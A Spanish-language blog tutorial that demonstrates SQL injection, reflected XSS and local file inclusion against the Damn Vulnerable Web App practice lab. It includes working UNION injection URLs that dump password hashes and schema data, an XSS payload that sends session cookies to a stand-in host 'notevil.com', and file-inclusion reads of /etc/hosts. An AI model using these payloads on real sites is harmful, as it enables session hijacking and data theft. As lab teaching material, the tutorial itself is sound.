Como hackear páginas web ( en serio )

16/04/2011 a 2:57 PM (programacion, recursos/tutoriales, recursos y tutoriales)
Tags: hacking, programacion, aprender, php, web 2.0, extrema, CMS, programadores, vulnerabilidades, enlaces recomendados

Las webs hoy en día son cada día mas seguras. ¿O no? Como intento demostrar frecuentemente en twitter, tal vez no sea asi.

Hay muchas herramientas hoy en día para encontrar vulnerabilidades en una web. Si una web utiliza una versión vieja de un CMS, cosa que podemos determinar utilizando una herramienta como Wappalizer o WhatWeb, la cuestión es mas sencilla. Es muy importante hoy en día mantener actualizado nuestro software. En caso contrario, un atacante podría buscar en el changelog de nuestro CMS todo lo referente a correcciones de vulnerabilidades en versiones posteriores a la que nosotros tenemos actualmente.

También hay otras herramientas para hackeear webs, pero yo hoy voy a optar por explicar que tipo de vulnerabilidades se pueden encontrar una web de una manera mas “artesanal”. Este artículo no plantea demostrar un tipo de vulnerabilidad nueva, ni pretende ser la demostración de un conocimiento muy avanzado. Simplemente es una explicación básica de algunos tipos de vulnerabilidades que pueden encontrarse en una web y como un atacante explotaría de ellas. Básicamente, se trata de:

• Inyecciones SQL
• Cross Site Scripting ( Javascript injection )
• Local file inclusion / Remote file inclusion

Para todos los ejemplos, usaremos código de Damn Vulnerable Web App. Te podés descargar esta aplicación para practicar los ejemplos que planteo acá. Todos los ejemplos estan hechos con la seguridad en low. Una vez instalado el app, andá a DVWA Security y elegí “low”.

Inyecciones SQL

Muy frecuentemente se piensa que a través de SQL solamente se puede obtener acceso a la base de datos. Esto generalmente es asi, pero SQL es un lenguaje muy versatil y nos permite hacer muchas cosas… entre ellas leer archivos en el disco duro. De todas maneras, el acceso a la base de datos es bastante catastrófico de por si. El código vulnerable se ve de esta manera:

<!--?php <br ?-->$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

En este ejemplo, el código a ejecutarse se obtiene de algún parámetro de la URL, como ser

http://localhost/hack/vulnerabilities/sqli/?id=5

Esto es asi en muchas aplicaciones web, y todo esta perfecto siempre y cuando se filtre la información que envía el usuario. Al no estar escapado el input del usuario, si visitásemos esta URL, nos encontraríamos con la sorpresa de que nos muestra las passwords de los usuarios ( hasheadas con MD5, que puede ser roto fácilmente ).

http://localhost/hack/vulnerabilities/sqli/?id=1'+or+1+UNION+select+password+as+first_name,+user_id+from+users%23&Submit=Submit#

El hacer esto hace que la consulta que realicemos se transforme en

SELECT first_name, last_name FROM users WHERE user_id = ’1′ or 1 UNION select password as first_name, user_id from users#’

Aquellos que esten prestando atención se preguntaran como averigué que el campo password se llamaba password, como averigué que el campo user_id se llamaba user_id y cómo averigué que la tabla users se llamaba users. Es simple, como la web es mía y la instalé yo, miré en la base de datos :D

En caso que no podamos darnos ese gusto, hay que recurrir a técnicas mas complicadas… que se pueden encontrar en un link que recomendé antes en mi blog “SQL Injection Pocket Reference“. Lo que voy a hacer es preguntarle a mysql como se llaman las tablas:

http://localhost/hack/vulnerabilities/sqli/?id=5'+UNION+SELECT+table_name,+table_schema+FROM+information_schema.tables%23&Submit=Submit#

Al hacer eso la consulta se transforma en:

SELECT first_name, last_name FROM users WHERE user_id = ’5′ UNION SELECT table_name, table_schema FROM information_schema.tables#’

Lo que hace que la página nos muestre todas las tablas que existen en mysql, conjunto con que base de datos estan. En mi caso, en conjunto con muchas otras entradas que hay, aparece una que dice

ID: 5′ UNION SELECT table_name, table_schema FROM information_schema.tables#
First name: users
Surname: dvwa

Podemos hacer lo mismo para obtener las columnas:

http://localhost/hack/vulnerabilities/sqli/?id=5'+UNION+SELECT+column_name,+'xss'+FROM+information_schema.columns+WHERE+table_name+%3D+'users'%23&Submit=Submit#

Cross site scripting (XSS)

Cross site scripting es una vulnerabilidad que surge al recibir por algún medio información que luego va a ser incrustada en el HTML de nuestra página sin escaparla correctamente. Hay dos tipos de inyección XSS que podemos encontrar, a los que nos referimos en ingles, cómo reflected y stored. La primera se crea al modificar algún parámetro por get a algún valor que el administrador no esperó, y la segunda se genera al mostrar información previamente guardada en la base de datos.

Refiriendonos a la aplicación, el ejemplo que vemos como reflected sería una URL como esta:

http://localhost/hack/vulnerabilities/xss_r/?name=pedro

Con las vulnerabilidades de este tipo podemos hacer infinidad de cosas, entre las cuales está abusar la confianza que tiene el browser de el usuario con el sitio. La página web localhost, al navegarla por primera vez creó en mi browser una cookie que guarda toda la información sobre mi, un session id. Como podemos leer en este excelente artículo, esta es el único medio que tiene el server para diferenciar e identificar usuarios. Una vez obtenida la cookie de un usuario, podemos suplantar su identidad.

Normalmente esto es una tarea dificil, ya que el browser del usuario entrega esa información solamente al servidor correspondiente. Pero eso para nosotros no es problema, ¿No? Podemos ejecutar código javascript en él, asique por lo tanto el browser nos va a dar lo que no debería.

Para hacer que un usuario nos envíe sus cookies, debemos hacer que visite una URL como esta:

http://localhost/hack/vulnerabilities/xss_r/?name=%3Cscript%3Eajax+%3D+new+XMLHttpRequest();ajax.open('get',+'http://notevil.com/steal.php%3Fcookie%3D'+%2B+escape(document.cookie),+true);ajax.send(null);%3C/script%3E#

Es poco probable que un usuario clickée un enlace asi, pero si quieren ver uno que quizás clickée, clickeen aqui.

El stored XSS sigue la misma lógica, excepto que la información queda guardada en la base de datos.

File inclusion

El file inclusion lo podemos encontrar cuando una aplicación web incluye archivos basado en el input de un usuario. Hay dos tipos de file inclusion, el local file inclusion y el remote file inclusion. Como sus nombres indican, el local incluye archivos locales y el remote incluye archivos remotos, todo esto respecto al servidor.

En el caso de nuestra aplicación vulnerable, tenemos un LFI. ( podría ser un RFI también si tuviesemos configurado allow_url_include en nuestro PHP )

http://localhost/hack/vulnerabilities/fi/?page=include.php

A través de él tenemos acceso a todos los archivos a los que tenga acceso el usuario con el que se está corriendo apache. Por ejemplo /etc/hosts

http://localhost/hack/vulnerabilities/fi/?page=/etc/hosts

O el readme de la aplicación:

http://localhost/hack/vulnerabilities/fi/?page=../../README.txt

¡Espero que les haya gustado! Recuerden seguirme en twitter o suscribirse a este blog usando la opción el el menú de la izquierda para recibir mas artículos como este.

Un saludo,
Pedro